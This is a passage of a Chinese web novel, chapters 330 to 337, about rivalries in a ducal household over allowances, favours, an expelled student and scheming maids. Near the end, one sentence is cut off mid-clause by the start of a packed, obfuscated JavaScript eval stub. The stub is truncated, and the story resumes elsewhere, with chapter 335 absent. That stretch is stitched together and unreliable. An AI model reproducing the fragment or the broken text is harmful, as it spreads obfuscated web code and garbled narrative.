这到底是谁告诉她的! “燕燕,我没想到你会变成这个样子,你只是一个普通的姑娘,出身乡野的一个小姑娘,你凭什么要让大将军出钱来养着你?” 张武这一句,几乎是吼出来的。 张燕也被这一句,一下子给钉在了原地。 是呀,凭什么呢? 张燕想到这几年自己和小宋氏经常一起说话,一起做女红,宋姨娘对自己很满意,也很喜欢的,还说自己长的好看,又聪明懂事,一定会得世子欢心的。 张燕轻咬咬嘴唇,她想回国公府去找世子爷,想让世子爷纳了她,可是她根本就进不去。 她不是国公府的人,怎么可能随意出入? 张燕不甘心,明明宋姨娘也愿意帮她的! “我,可是宋姨娘明明说过我很好,也说过会帮我张罗一门好亲事的。” 第330章 一拨接一拨 张燕不甘心,再次跑去了国公府,她就在角门处等着,期盼着能看到自己认识的仆从出来。 结果让她失望了,一连等了几个时辰,也不见有熟人出来,她眼珠子一转,便又去了后门。 后门主要是供倒夜香等下人们出入的。 张燕等在这里,终于看到了宋姨娘身边的一位仆妇,她连忙上前:“嬷嬷,带我去见见宋姨娘吧。” 被拦住的仆妇吓一跳,再仔细一看,这才认出来:“原来是张姑娘呀,吓我一跳。你怎么在这儿呀?今日国公府有亲戚们要来,府里头可忙得很,宋姨娘也没空见你,你还是改日再来吧。” 张燕却拉住她的胳膊不放:“我只是想要见见宋姨娘,又不是去给其它主子添乱,还请嬷嬷行个方便。” 张燕顺手将一个银镯子褪到了嬷嬷手里。 嬷嬷掂了一下分量,立马换上一张笑脸:“好吧,我看姑娘是个懂事的,离府多日,还惦记着我们姨娘,那走吧,我带你进去。” 张燕心头一松,只要能见到宋姨娘,她相信自己就一定有办法嫁进国公府。 小宋氏自在院子里气恼呢,如今女儿也跟她离了心,什么事情都是向着许昭昭那个贱人说话,小宋氏现在恨不能把许昭昭杀了泄愤呢! 张燕一来,小宋氏这心思一动,立马就有了主意。 “是燕燕来了,快过来坐。有些日子没见,我怎么瞧着你瘦了些?可是在外面吃住的不适应?唉,也怪我,人言轻微,就该留你们在府里多住些时日的。” 张燕一听这话,瞬间便有一种遇到知音的感觉。 她原本就不想走,都是世子夫人从中作梗,定然是怕世子对自己动心,所以才想着趁早将自己赶出府去的。 “宋姨娘,我这些日子在外面,也是十分想念您。咱们一同生活了几年,我是真心将你当成我的长辈的。” 小宋氏拍拍她的手背,眼眶也跟着泛红:“是呀,我又何偿不是将你当成我的亲闺女呢?可惜咱们娘儿俩缘浅,我又是个没什么分量的,帮不上你。” “宋姨娘快别这么说,这几年若不是你帮衬,我和哥哥还不知道要过得何等落魄呢。” 小宋氏听着这话顺心,而门外站着的一位小丫环则是不屑地撇撇嘴。 那吃的用的明明都是大将军的,怎么就成是宋姨娘帮衬了? 就算是报恩,也别报错人呀! 瞧瞧,连一个小丫环都能看明白的事,偏偏张燕就看不清楚。 二人在屋里说了好一会儿的话,最后张燕离开时,满面娇羞,而且手上还捧着一个小盒子。 那是国公府里给小宋氏这边分配下来的一些胭脂水粉。 小宋氏觉得这颜色艳了些,所以不想用,正打算找管事的换一批呢,正好张燕来了,小宋氏索性就做个顺水人情,直接给张燕了。 在张燕看来,这是小宋氏疼爱她的表现。 而实际上,对于小宋氏而言,这些东西不过是国公府给她们这等小妾分派的一些残疵品罢了。 老夫人寿辰前一日,整个国公府里已经很热闹了。 有谢氏这边的一些老亲,当然还得是关系近的,若不然,也不可能迎进国公府的客院里。 还有林氏那边的一些长辈,按辈份,许昭昭要么称呼一声舅祖母,要么就是表舅母。 宋氏没有来人,若无意外,应该会在明日送上一份贺礼。 许昭昭觉得人多了,果然就有些热闹,甚至是有些聒噪了。 “主子,今天已经有三拨人说是走错了路,想要进咱们锦绣园来赏风景了。” “进来了吗?” “没有您的吩咐,自然是进不来的。” 丁香笑着给许昭昭又换了一盏茶,然后将香炉里的香粉也重新续上,这才又继续道:“听说其中有一拨自称是您的表舅母呢,还带着几位打扮靓丽的姑娘,但是被守门的婆子给打发了。” “嗯,林家的人不甘心就此与国公府的关系远了,所以想要给三郎身边安排人,这也是理所当然。不过,他们为何就不考虑一下,娶国公府的姑娘回去呢?” “主子说笑了,就林家人的作派,您想想,老夫人是林家人,四夫人也是林家人,若是他们娶了谢家的庶女回去,只会觉得没面子,自然不肯的。” “这种人最是愚钝。明明自己在走下坡路了,还死要面子活受罪。罢了,将咱们的锦绣园看严一点,没有我的吩咐,任何人不得出入。” “是,主子。” 许昭昭说完,又觉得不妥:“派人去大门口等着,若是三郎回来,直接将人请回锦绣园,莫要再给旁人机会。” 丁香扑哧一笑:“主子这是担心世子爷被人拐跑吗?” 许昭昭脸一黑:“我不担心这个,我是担心有些人动歪心思。如今府里头的女眷多,我安排两位嬷嬷过去候着,也是为了避免有人冲撞了世子爷。” “还是主子考虑周全。” 还真让许昭昭给料准了。 两位嬷嬷一路陪着世子回锦绣园,前后遇上了四拨姑娘。 有单独一个人在世子爷回去的路上弹琴的,还有两个结伴而行,一起讨论诗歌的,更有三五人一起故意在院子里扑蝶的。 嬷嬷们也是无语了。 这天都要黑了,还扑什么蝶? 能看得清吗? 就连一向后知后觉的谢铮,也察觉到不对劲。 这么短一段路,遇到这么多未出阁的姑娘,这也太巧了! “这都是什么人?” 眼瞅着要到锦绣园了,嬷嬷谨慎回话:“都是府上的亲戚,今日还有好几拨人借着走错路的名头想要进锦绣园呢,都被奴婢们拦住了。” 谢铮收住脚步:“她们去锦绣园做什么?可扰了夫人的清静?” “回世子,都拦在园子外了,不曾让她们进去打扰夫人。” “那就好。这几日你们也辛苦一些,将门户看紧了,莫要让人扰了夫人清静,更不能容许有人欺负夫人。” “是,世子爷。” 许昭昭和谢铮不知道的是,他们夫妻二人刚想要一起亲亲,就被人一状告到了老夫人那里! 第331章 你们的月钱涨了? 老夫人听着这几位老姐妹的话,她也头疼。 自己今年六十一了,按一些俗礼,其实过的算是整寿。 因为正六十岁的寿辰,一般都不会大办,只有等到第二年,也就是六十一岁的时候,才会大办,算是过整寿。 其实追根结底,还是因为这个时候人们的平均寿命较短,怕大张旗鼓地庆贺,再引来阎王小鬼的注意。 所以这才改在今年过。 老夫人也听明白了她们的意思,无非就是她们各自的孙辈姑娘们想要去锦绣园走走,结果被人给拦下了,这原本就是她们失礼,毕竟你是来做客的,客随主便才是正理。 但是这几位老姐妹一番话,竟是颠倒黑白了。 她们不说是小辈们想要强闯,也不说是因为远远地注意到锦绣园的建筑更气派,还能看到高出墙头的一些海棠花来,她们就只是说自己想要赏景,结果被府上的下人给欺负了。 都是脑子好使的,自然不会说是许昭昭欺负她们,毕竟人家许昭昭的身份摆在这里,真欺负她们,她们也只有受着的份儿。 这拿锦绣园的下人来说话,自然就是为了能让老夫人向着她们一些。 “好了,你们也别哭了,一把年纪了,动不动就哭哭啼啼的,像什么样子!” 几位老姐妹这才收了声,个个掩饰一般地擦擦眼角。 “锦绣园是世子的院子,一帮子没出阁的姑娘们去做什么?再说了,我孙子和孙媳也算是新婚,正是夫妻恩爱的时候,这个时候怎会愿意有人打扰?” 老夫人虽然和这些老姐妹们之间有情份,但是孰近孰远,她还是分得清的。 就目前这形势来看,整个国公府里头,最得陛下看重的就是三郎,她再糊涂,也不可能把这个孙子往外推。 而且她也看出来了,许昭昭在三郎眼里头就是她的命根子,哪能去责备她? “不打扰便不打扰,只是那下人的话也太难听了些。而且孩子们也只是想着跟这位未曾谋面的新表嫂说说话,免得日后见了再不认识,那才尴尬。” 老夫人叹气:“怎么没见过了?当初三郎大婚,你们不是也都来了?当时不也是带着孩子们一起过来的?次日我那孙媳敬茶的时候,你们也都见着了呀!” 一位老姐姐翻个白眼儿,那能一样嘛! 再说了,姑娘们就是想进去锦绣园看看,当初成婚时,她们便注意到锦绣园的奢华,这不是想着进去再开开眼,兴许还能从那位新媳妇手里头再讨些好处呢。 几人虽然告了状,但是老夫人压根儿就没有责怪许昭昭和谢三郎的意思,她们几位也不好逼着老夫人去罚小辈,所以最终也是不了了之。 谢婵和谢娟几乎是每日都会来锦绣园,但是这两日因为府上要准备寿宴,所以许昭昭就让她们先别过来了,待寿宴过后,客人们都走了,再过来学东西。 对此,姐妹二人自然是乖巧地应下。 而且,谢婵和谢娟这几日也是忙着招待一些表亲、堂亲、族亲的,的确是没有什么心思再学东西。 谢乔是四房嫡女,相应的吃穿用度一直都是府里头最好的。 可是这些日子,她发现谢婵谢娟两姐妹的用度也相应地提上来了,今日一起招待几位表亲,竟发现她们二人身上穿的料子,比自己的还要好。 谢乔骄傲惯了,如何能忍得了? “你们身上的衣裳是哪儿来的?” 谢婵早料到会有此一问,不慌不忙道:“回五姐姐,这是三嫂日前命人送来的,连带着我和七妹妹的首饰,也都是三嫂送的。” 谢乔一听,这嘴就撅起来了。 “三嫂为什么只送你们,不给我?” 这话让人怎么接? 林家的一位表姑娘看出来些猫腻,故意拉拉谢乔的袖子:“表姐快别生气,三表嫂毕竟是她们的亲嫂嫂,还是不一样的。” 这话说的在理。 而且走到哪里都挑不出毛病来。 可是在谢乔听来,就是许昭昭瞧不起四房,心中只有他们长房一脉的人了。 “哼!我看三嫂就是瞧不起我,若不然,怎会独独落下我了?” 这话音一落,一时间亭子内寂静无声。 谁愿意招惹这位五小姐不痛快? 谢婵和谢娟二人相视一眼,并没有说话。 谢乔见没人出声,再次打理她们二人一眼,轻嗤道:“到底是不一样了。有位县主做亲嫂嫂,这腰板也挺直了吧?我听说你们的相应膳食都跟以前不一样了,连月银都涨了,是也不是?” 其实,涨没涨月银这事儿,谢乔是真不知道,也就是猜的。 但是她没想到,还是一猜一个准儿。 按照规矩,像是她们这样的府邸,一般的嫡出姑娘月银都在两三贯钱左右。 庶出的姑娘,一般的月银是嫡姑娘的六成或者六成以下。 谢乔的月银是两贯八百钱,以前谢婵和谢娟的月银是一贯六百钱。 但是自打许昭昭进府后,这姐妹二人的月银就提到了两贯六百钱。 这也是姐妹二人迅速向许昭昭示好,并且对她信赖的主要原因之一。 话说得再好听,也没有实际好处给到位更让人信服。 这月银,便是最好的例子。 除此之外,她们的膳食也的确是都提了一个档次,以前午膳的份例是一荤一素一汤,如今则是改为四菜一汤。 先不说这姑娘们用膳时的份量大小,只说这四菜一汤,其实就是为了彰显主子地位的。 一般而言,除非是郎君,否则都是用不完的。 而正常情况下,就是主子们用完膳之后,撤下去的菜品,一般就是由服侍主子的大丫环或者是二等丫环们分了。 都是山珍海味,谁会不喜欢? 因为谢婵和谢娟的伙食水平上去了,她们在自己院里的话语权也就随之升高,尤其是在前不久重罚了几个大丫环之后,她们两个越来越像是正经主子了。 谢乔随口一说,但看她们姐妹二人的神色,便意识到自己猜对了。 砰! 谢乔一巴掌拍在桌上:“不是吧?你们的月钱真涨了?那为何我的月钱没涨?” 第332章 长嫂如母 谢乔人不坏,就是性子傲了些。 得知两个庶出的妹妹都涨了月银,而她却没涨,自然受不住,哭哭啼啼就去找母亲做主了。 如此,小林氏又去找于氏要说法,这么一来二去的,便闹到了老夫人跟前。 好在,此时屋里没有旁人在,不至于让人看了家丑。 “闹什么!不像话!家里头如今这么多客人在呢,你们就不知道收敛一些?” 小林氏擦擦眼角的泪渍,一脸委屈道:“母亲,不是我们不懂事,实在是二嫂做得过分。这嫡庶有别,历来如此。咱们堂堂国公府,难不成还要坏了这嫡庶的规矩?” 于氏冷脸:“弟妹,莫要胡言!嫡庶有别,这一点我从未坏过规矩。” “哼!嘴上说的好听,这眼瞅着三郎得势,三郎媳妇又在御前得脸,你便巴巴地凑上去了。谁不知道那两个庶女的待遇一天比一天好?若只是一些吃穿用度也就罢了,如今竟连月银都涨了,二嫂你好偏的心呀!” 老夫人闻言一怔,看向于氏:“涨月银了?” 于氏连忙起身行礼:“回母亲,没有的事。但是于伙食上有所提升,这是三郎媳妇特意跟我提过的,而且当时您也是允了的。” 老夫人点头:“嗯,此事我知道。几个姑娘家家的正是说亲的时候,的确是不能在饮食上太差了,到时候出门气色不好,也要被人说咱们苛待庶女。” 于氏点头:“正是这个理儿。所以除了伙食之外,另外就是一年四季衣裳,仍然还是原来的规矩,衣裳料子都没变,只是四季各多一套罢了。” 老夫人想想,这也不算是什么,毕竟都是说亲的年纪,姑娘嘛,打扮好看了,才好选人家。 “老四媳妇,你二嫂说的都没错,这些都是我点头应下的。而且你二嫂说了没涨月银,那定然就是没涨。” “不可能!” 谢乔站出来,指着谢婵谢娟两个人:“你们自己说,到底涨没涨?” 姐妹二人哪敢跟这位五姐姐叫板呀,硬着头皮回话。 “回祖母,我们的月银是打三嫂进门后第一个月就开始涨的,每个月的月银是两贯六百钱。” 谢娟紧随其后:“回祖母,我的月银也是一样。” 老夫人和于氏对视一眼,这才意识到不对。 “你们的月银都是以往的一贯六百钱,我没涨过呀!” 于氏话落,想到了许昭昭,又道:“母亲,许是三郎媳妇那里弄错了。关于长房的相应用度,我都已经单独支出给她了,这个您也是知道的。” 老夫人点头,很快便命人将许昭昭请过来了。 “昭昭,你自己说说,这是怎么回事?” 许昭昭还以为是什么大事,不过就是些许的小银钱,还值得让四房这般的大张旗鼓。 “回祖母,二婶婶那里送过来的银钱和账目上没有问题,她们姐妹的月银就是一贯六百钱。余下的一贯钱,是我做为长房的主事人给她们添上去的,此事,也是问过三郎的意思的。” 老夫人眯眼,好像意识到,她似乎是忽略了什么。 于氏脑子转得快,这么一瞬间,便明白了。 谢铮同意,许昭昭又是用了长房的名头给涨的,那其实就是在隐晦地告诉所有人,这六小姐和七小姐虽是庶出,但她们是正经的国公府小姐,她们的父亲,才是国公爷,而不像是二房和四房的姑娘,就算是嫡出,也只是现任国公爷的侄女。 这一刻,于氏只觉得后背发凉。 她没想到,许昭昭这个新妇竟然会愿意为两个庶女出头。 此时她无比庆幸,自己从未苛待过这两个庶女,否则,怕是要被长房针对了。 小林氏还没有回过味儿来,阴阳怪气道:“哟,长房就是不一样呀!不仅给衣裳首饰,还给涨月钱。三郎媳妇,你这就做得太过了,同样都是妹妹们,你凭什么只管这两个庶出的丫头,却对我们和二房的姑娘们视而不见?” 糟! 于氏暗恼,后悔没有早一步把小林氏的嘴给堵上。 老夫人闻言,脸色也是微变。 许昭昭笑吟吟道:“四婶婶这是什么话?几位堂妹上面都有至亲的长辈照顾,哪里需要我多事?倒是六妹妹和七妹妹,身为长房的姑娘,却一直劳累着祖母操心,如今我这个当嫂嫂的嫁过来了,自然是要帮祖母分忧,我虽不是长辈,但是我婆母早逝,我说句长嫂如母的话,不算过分吧?” 老夫人沉着脸瞪向小林氏,就你嘴快! 小林氏脸上的表情僵住,她好像忘了这一茬了。 就许昭昭这做法,真摆到台面儿上说,哪怕是闹到宫里头去,也得赞一声她这个做嫂嫂的大度且明事理,谁能说一句她不懂规矩? 人家长房没有正经主母了,她这个长媳代为帮衬照顾两个庶妹,何错之有? 不仅没错,还是值得被长辈们好好夸赞一通才对的! 小林氏讪讪地闭上嘴,这会儿低着头,根本不敢看屋内的任何一个人了。 此时的谢乔也明白过来,自己好像是不仅没能给自己讨回公道,好像还闯祸了。 “行了,原也不是什么大事。此事是我们疏忽了,而且三郎媳妇做的对。谢婵和谢娟都是长房的血脉,三郎媳妇身为她们的亲长嫂,自然是要多看顾的。” 于氏立马表态:“母亲说的是。昭昭也是为了咱们国公府好。” 老夫人点头,还得是二儿媳靠谱。 “既然如此,以后也不必让长房单独贴补了,以往贴补的就算了,老二媳妇,日后就将小六和小七的月银涨至两贯六百钱,其它的一应用度,你和三郎媳妇商量着办。” “是,母亲。” 于氏心里头明镜似的,也知道老夫人这是想明白其中的关窍了。 虽是庶出,但人家是正经的国公爷的女儿,而且还是未来国公爷的亲妹妹。 所以,真不能把她们当成寻常庶女来对待了。 尤其是,谢铮没有嫡亲的兄弟姐妹,从血缘关系上讲,这两个庶妹与他是最为亲近的。 于氏其实略有些后悔,早该意识到这一点的呀。 第333章 大嫂来访 许昭昭不愿意将这件事闹大,毕竟都在国公府里住着,没必要把关系闹僵。 所以,许昭昭先前是故意隐晦地给两个庶妹涨了月银。 如今,既然是过了明路,那日后也不需要她再贴补了,而且眼下这两位庶妹也都知道了之前的好处,都是这位嫂嫂帮她们争取来的,自然是对她万分感激。 谁会故意跟钱过不去呢? 许昭昭倒不是多喜欢这两个庶妹,她是单纯地觉得不能让人小看了长房。 经此一事,谢乔也终于意识到一点,她虽然是嫡女,但她并不是三郎的亲妹妹,所以,还是不一样的。 老夫人的寿宴办得很成功,最起码老夫人很满意,而且谢家的这些族亲们也满意。 等送走了这些亲眷,许昭昭才觉得心累。 总算是走了,可以安安稳稳地睡一觉了。 虽然锦绣园一直不曾让外人进来,但是少不得会有一些长辈仗着年纪大、辈份高,提出来想要到她的锦绣园里逛一逛。 许昭昭看在老夫人的面子上,自然也不能回绝,但是却故意不带她们去主楼,只在园子里赏赏花就好,没必要真拿她们当贵客。 若是知情知趣的亲戚,许昭昭不介意多给几分脸面。 但像是这种不知轻重,还意图在自己面前摆谱的长辈,她是半点不放在眼里。 就这样,有几位长辈虽然对许昭昭不满意,可也不敢说出来。 而且很明显,谢铮一心护着她,谁也不敢去触那位的霉头。 许昭昭下午刚睡醒,丁香就过来禀报。 “大少夫人在前头等了有一会子了,正打算给她换一杯热茶呢。” “可有说找我何事?” “不曾。” “行了,那就简单收拾一下,莫要再让人等急了。” 谢嵘的妻子张盼儿,今日登门也是有求于人,所以态度一直很温和。 过来的时候,得知许昭昭午睡还没醒,便干脆坐在这里等了。 “大嫂久等了,也怪这些人,不知道早些将我唤醒,害得大嫂耽误时间。” “还好,没等多久。” 两人一番客套话之后,张盼儿便直接切入正题。 “三弟妹,我今日过来,的确是有事相求。” “大嫂何必如此,咱们都是自家人,你有什么话直说便是,若是能办的,我这个做弟妹的,自然该不遗余力,可若是我办不了的,那也得请大嫂多包涵才是。” 话说得很圆润,也是避免了张盼儿再把话给说死。 张盼儿没听出这些话外音来,笑道:“若是放在我这里,的确是一件大事,但是对于三弟妹而言,的确不算是大事,也就是你发句话的事。” “大嫂请明言。” “我娘家兄弟之前在国子监读书,犯了错,被先生给罚了。我听闻三弟妹在国子监有些门路,所以想麻烦你给说几句好话,让他赶紧回去上课。” 许昭昭挑眉,张盼儿这话说得巧妙,但是实际上一琢磨,便能知道深浅了。 看这意思,是被国子监给开除了吧? 要不然,也不会求到她这里来。 “大嫂从何处听说我在国子监有门路的?说这话的人可是要遭雷劈的!我就是一寻常妇人,手上虽说有些产业,可不过都是身外之物,更是那些做学问的大儒们所不屑的。我又怎么可能会与国子监的官员相熟?” 张盼儿笑得有几分勉强:“三弟妹不必这般自谦,我知道你的本事。先前不是还将一位族亲给安排进国子监了?” 许昭昭一听这话,立马笑道:“你说这个事儿呀!那算是什么本事,不过就是一个小助教,哪里算得上门路?而且大嫂也知道,我父亲是武将出身,我们家与文官来往不多,更何况是国子监这样的地方了。” 张盼儿见她就是不肯松口,自然也有几分急切。 “可是我听说你的表兄不也进国子监读书了吗?三弟妹,你放心,我不让你白帮忙,好处自然不会少的。” 许昭昭只觉得这个大嫂是真精明。 到现在只字不提她弟弟到底犯了什么错,只是一味地让自己帮忙。 按说这等事,她该去求二叔或者是四叔才对,又怎么会求到她这里来? “大嫂哪里话,咱们都是国公府的人,谈好处不就远了嘛!” 张盼儿心底一松,只盼着她能答应。 “大嫂,国子监我是真没有什么门路,不过,我舅舅倒是和国子监那边的几位大人可能有些来往,但要是说服我舅舅出马,只怕不易。而且我舅舅这人有着文官固有的毛病,就是固执,而且还爱较真儿。您这说了半天,也没说明白到底是个什么事儿,我就算是求到舅舅面前,也不知道该怎么说呀。” 张盼儿尴尬地笑了笑,眼珠子乱转,琢磨着要怎么说,才能显得她弟弟不是混帐东西。 “三弟妹,我也不瞒你。其实就是他在国子监看了一些不该看的书画,这原也不是什么大事,他也到了即将婚配的年纪,会有这些个心思也是正常的,你说是不是?” 明白了,那就是在国子监看一些春宫图之类的东西了。 难怪会被撵出去。 国子监是什么地方? 那可是讲授圣人之道的地方,是大兴最高学府。 张郎君是疯了不成,竟然敢在那里看这等污秽之物? “呃,若只是躲在了自己的屋舍里看看,倒也没有什么大毛病,那大嫂只需要让张郎君主动去先生跟前认个错,再好好表态便是,何需再去找其它门路呢?” 张盼儿面色更尴尬了。 看她这样子,许昭昭还有什么不明白的? “大嫂,张郎君不会是在学堂上看的吧?” 张盼儿讪笑两声,低着头,也不知道应该怎么回应。 许昭昭挑眉,这位张郎君的脑子是被门挤了吧? 胆子也太大了! “大嫂,请恕我直言,若是果真如此,我可是帮不上什么忙的。不说别的,就是我舅舅那一关都过不去。要不,您去问问二叔和四叔。他们在朝为官,且如今担的都是文职,想必是能说得上话的。” 第334章 忘恩负义 张盼儿只觉得自己活了二十年,从来没有这么丢人过! 在弟妹面前,自己简直就像是一个道德败坏的恶妇。 都怪弟弟不知道学好,哪有在学堂上看春宫图的? 她也怪许昭昭不愿意帮忙,而且还将话给挑破,这不是把他们老张家的脸摁在地上摩擦吗? 张盼儿要气死了! 这件事情终归是瞒不住的,如今许昭昭自己猜出来了,那么晚上定然就会告诉三郎,张家这次丢脸是丢到家了。 原本还想瞒着夫君的张盼儿,这次也不敢再瞒,晚上老老实实地把事情说了。 谢嵘的脸黑成锅底了。 “你去找三弟妹求情了?” “这不是听说三弟妹的人脉广,处处都有门路,所以想着请她帮忙找人说和一下嘛。” “可闭嘴吧!” 谢嵘都要被气死了。 怎么会有一个这么不靠谱的小舅子! “这件事情既然是你弟弟惹出来的祸事,为何不让你父亲或者是叔伯去奔走?” 张盼儿脸色微窘,这等事情,娘家那边其实是瞒着父亲的,就怕父亲一怒之下再对弟弟用家法,所以母亲才会求到她这里来。 可是谁成想,她一开口,就被许昭昭给识破了。 谢嵘看妻子这模样,便知道定然又是岳母自作主张了。 “此等大事,岂是你们这些内宅妇人可以插手的?此事我会与岳父说的,小舅子顶多只是挨顿打,但只要是岳父出面,国子监的监生身份,必然还是他的。” 跟一个监生身份比起来,一顿打算得了什么? 也就是他岳母分不清轻重,这等事情还要求到女儿这里来,只是为了护着那个不着调的东西。 现在好了,闹得连弟妹都知道了,张家这次丢人可是丢大发了。 张盼儿因为没办成这件事,甚至还被父亲知道了,少不得要被母亲埋怨一通,事后弟弟果然是挨了一顿打,一直在家里休养了快半个月才好起来。 张盼儿心中有愧,便三天两头往娘家跑,也没少往娘家带好东西。 好在她弟弟虽然是个混不吝的,但也知道姐姐是真心疼爱他,所以没说什么难听话,但是经过这一回挨打,倒是学聪明了。 以后有什么事,都得藏着掖着,可不敢再在光天化日之下充胆儿大了! 这也不算是什么事,许昭昭根本就没放在心上。 她和谢铮也的确是说了此事,但也就只等是个乐子,听过就算,没想着给人家往外传,毕竟都是亲戚。 所以,这件事情,最终还是在可控范围之内。 国子监的先生当时没收了东西,但是考虑到东西污秽,所以并未展示,所以,知道此事的师生并不多。 张父又舍出好东西,挨家奔走,总算是将此事压下去了。 张盼儿这里刚消停,四房又闹起来了。 先前小林氏好心收留的两位婢女,竟然敢爬床,这可是坏了府里的规矩,自然也是会惹得主母震怒的。 “哦,我有点印象,可是叫彩蝶、彩娟的二人?” “回主子,正是她们二人。听闻一个去爬四爷的床了,还有一个想爬四郎君的床,结果被守门的小厮给撵走了。如今四夫人正在院子里闹呢。” 许昭昭眨眨眼,脑子里仔细地消化了一会儿才问:“这么说,爬四爷床的那个成功了?” “奴婢仔细问过,没爬成,但是那婢子脱光了衣裳和四爷睡在一处呢。四夫人找了嬷嬷给验身,说那姑娘仍是处子之身,所以是还没有进行到最后一步。” 许昭昭挑眉,然后上下打量丁香一眼:“你一个未出阁的姑娘,你也知道最后一步?” 丁香顿时羞得满面通红:“主子,您,您怎么还取笑奴婢呢!” 许昭昭笑出声来:“罢了,不逗你了。还好没能真地爬成功,若不然,四房会更热闹。” 因为是小林氏自己买回来的丫头,所以如何处置,自然是由小林氏说了算。 此时的小林氏可顾不得先前的那些什么情谊了,自己以为的小辈,竟然还敢妄想成为她夫君的女人,这简直就是啪啪打她的脸呀! “我果然就是好心没好报。我当初也是瞎了眼,怎么就想起来要救你于水火,我就该让你进教坊司,该让你进秦楼楚馆,正好如了你的意!” 这话骂得太扎心了。 最终的结果,是这姐妹二人直接被发卖出去,至于牙行再卖到什么地方,就不归小林氏管了。 这等忘恩负义之人,谁家买回去了,只管等着后悔吧。 许昭昭想到那姐妹二人的精明,还是命丁香特意走了一趟,告诉牙行,再发卖这姐妹二人时,定要将她们的身世说清楚,而且还要提醒对方,她们是因为不安于室,忘恩负义,妄图爬床才被发卖的。 “主子,不过就是两个贱婢,您何必还要多此一举呢?” 芍药不是很明白主子的用意。 “那两姐妹可不是省油的灯,当初我刚回府,便正好遇到她们姐妹二人被欺负,哪有这么巧的事?而且这等人,心思狠毒着呢。若是真被她们爬到了高处,她不会记恩,只会记仇。” 芍药不是很懂,但觉得主子的话一定没错。 对,她就是这么盲目地崇拜主子。 谁让她们主子有本事呢。 别人家的大丫环一个月顶天儿能有八百文月钱就不错了。 可是她们几个,八百文月钱那就是个零头儿,平时光是小姐给的打赏就不止两贯钱了。 做丫环做到她们这个份儿上,也是没谁了。 四房出了这等糟心事,大家都很有默契地装鹌鹑,这种时候,谁到四夫人眼前去晃悠,谁就是作死呢。 张盼儿虽然没能让许昭昭给帮上忙,但是人家知道了这件事,却并未大肆宣扬,就冲这个,张盼儿也得过来谢谢她。 “大嫂何必如此破费!” “谈不上什么破费,我知道你这里好东西多得是,咱们国公府,从上往下数,单论财力排,你要是占第二,可没人能占第一。” 许昭昭心情极好地大笑两声:“大嫂这话是捧着我呢!也是巧了,刚刚给小侄儿打的金项圈,本来还想着挑个吉日送过去呢,既然大嫂来了,那便让我懒一回吧。” 第336章 狗血的婚事 张盼儿喝口茶,慢悠悠地将里面的一些龌龊事也都掰开了。 许昭昭这才惊觉,她竟不知之前京城还发生了这等荒唐事! 不过转念一想,崔家人有意压下,再加上宁朔公主动用权利,这等事情,谁敢乱传? 许昭昭觉得,自己得空了,还是要多去各府邸拜访一二,这样也能多听一些个八卦消息,兴许日后就是自己保命的底牌呢。 被许配给宋三郎的,是崔玄正的嫡女崔琴。 崔琴虽是嫡女,却并非是现任信宁侯夫人所出。 崔玄正迄今为止,共娶了三位正妻。 其长子崔冲,便是原配所出,后来崔冲的母亲早亡,崔玄正又娶了一位继室,但是其生崔琴时,难产早亡。 如此,崔玄正又娶了第三位妻子,也就是现在的信宁侯夫人王氏。 要说当年这事,还曾被不少人议论。 崔玄正五年内,连娶了三位夫人,而且都是正室,且三位夫人都身份不俗。 所以,哪怕是前面两位正妻都早逝了,后面新娶的这位王氏,也不敢苛待前面所出的几位郎君小姐们。 尤其是崔玄正的原配,她接连生下两位嫡子后才早逝,所以娘家人一直和崔家保持着极为亲密的关系,并且,两位嫡子也都顺利长成。 且,崔冲还尚公主了。 大兴朝,尚公主并不影响入朝为官。 而且崔冲还是侯府世子,日后要袭爵,便是信宁侯,同时也是驸马,这两相并无冲突。 至于崔琴,就稍微惨一些。 因为她的生母并没有给崔家生下儿子,按规矩,崔琴的生母虽然也是正妻,但因为不曾留下儿子,所以下葬时,其享受到的各方面待遇都不一样。 当然,就算是她留下儿子了,从礼法上讲,她的地位也是仍然不及原配。 谁让人家不仅仅是原配,还留下了两个嫡子呢! 崔琴因为一生下来,便没了母亲,再加上崔玄正当时正在帮着陛下巩固大权,自然就会疏忽了对家中的照顾。 王氏进门后,倒是不曾苛待过崔琴,但是也不可能对她有多好。 毕竟不是自己生的,管你吃穿不愁就罢了,别指望着王氏能对你有多大的感情投入。 尤其是后来王氏又生下了嫡子嫡女,对这个崔琴就更不上心了。 如此一来,便给了宋三郎机会。 许昭昭其实大概是明白了崔琴会和宋三郎走到一起的根本原因。 看似好像是崔家的某位姑娘算计了崔琴,但是实际上,崔琴也极有可能是因为宋三郎对她的多方照顾,从而对他心生爱慕。 自幼丧母,父亲忙碌,继母又对她相对冷淡。 所以,崔琴应该是自小就极其缺爱的。 因为身边不缺银钱,所以从来就不曾将这些东西看在眼里,更不会放在心上。 但是从来不曾有人这般关注她、照顾她,所以宋三郎只需要偶尔嘘寒问暖,又或者是送上一些不值钱的小玩意儿,便能将崔琴给哄得欢喜无比。 自以为是找到了梦中情郎,实际上,不过是在某些人的推动下,将其送入一个渣男的怀里罢了。 要说崔琴惨,好像也的确是有些惨,毕竟她被养得太天真了,看不透人心。 可以说崔琴可怜,倒也不见得是多可怜。 只能说她太蠢。 生在了这样的家境里,不知多为自己争取利益,一心只想着风花雪月这等虚幻无影之事,着实是看不清呀。 “崔琴的外祖家也答应?” 张盼儿冷笑:“不答应又能如何呢?崔琴被人曝出与宋三郎私下有勾连,甚至连信物都被人拿出来了,他们但凡是还要点儿脸面,就知道这件事情只能咬牙认了。可是说来说去,真正倒霉的还是咱们国公府。” 许昭昭点头。 可不是嘛! 因为宋三郎与崔琴有了私情,而谢、崔两家的姑娘都不可能与人为妾,尤其还是宋三郎这种不着调的人,怎么可能有资格让这两家的姑娘同时进门? 无奈之下,宋家只得好话说尽,主动送上赔礼来退亲。 但是这些赔礼,又能证明什么? 谢家缺这点儿好处吗? 要说也是宋家人生了贪心,觉得若是能将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尤其是在永安帝上位时,谢家也是站在陛下这边的,而且这么多年,又一直都是忠于陛下,所以,崔家没打算与谢家为敌。 但偏偏出了一个崔琴,他们又能怎么办? 总不能因为崔琴,就和谢家**吧? 所以,崔家人很懂事,在送请贴之前,先给谢家送上了一份赔礼。 一份让谢家无法拒绝的赔礼。 第337章 无父无母 谢啸威官升一级,最主要的是,调到了实权衙门。 